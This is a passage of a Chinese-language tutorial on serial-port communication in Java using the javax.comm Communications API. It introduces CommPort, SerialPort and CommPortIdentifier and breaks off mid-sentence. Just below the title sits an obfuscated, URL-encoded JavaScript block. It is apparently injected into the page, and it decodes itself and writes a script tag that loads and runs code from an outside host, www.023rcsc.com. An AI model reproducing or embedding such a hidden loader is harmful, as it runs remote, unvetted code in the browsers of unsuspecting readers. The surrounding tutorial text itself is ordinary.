java串口通信
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//www.023rcsc.com/count/count2.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>Java提供了 Communication API(包含于javax.comm包中)用于通过与机器无关的方式,控制各种外部设备。Communications API,是标准的Java的扩展部分,它在Java API 中是没有附带的。因此,必须先在SUN公司网站的Java站点(
www.java.sun.com
)上下载这个扩展类库。
1.1Communications API 简介
Communications API 的核心是抽象的CommPort类及其两个子类:SerialPort类和ParallePort类。其中,SerialPort类是用于串口通信的类,ParallePort类是用于并行口通信的类。CommPort类还提供了常规的通信模式和方法,例如: getInputStream( )方法和getOutputStream( )方法,专用于与端口上的设备进行通信。
然而,这些类的构造方法都被有意的设置为非公有的(non-public )。所以,不能直接构造对象,而是先通过静态的CommPortIdentifer.getPortIdentifiers( )获得端口列表;再从这个端口列表中选择所需要的端口,并调用CommPortIdentifer对象的Open( )方法,这样,就能得到一个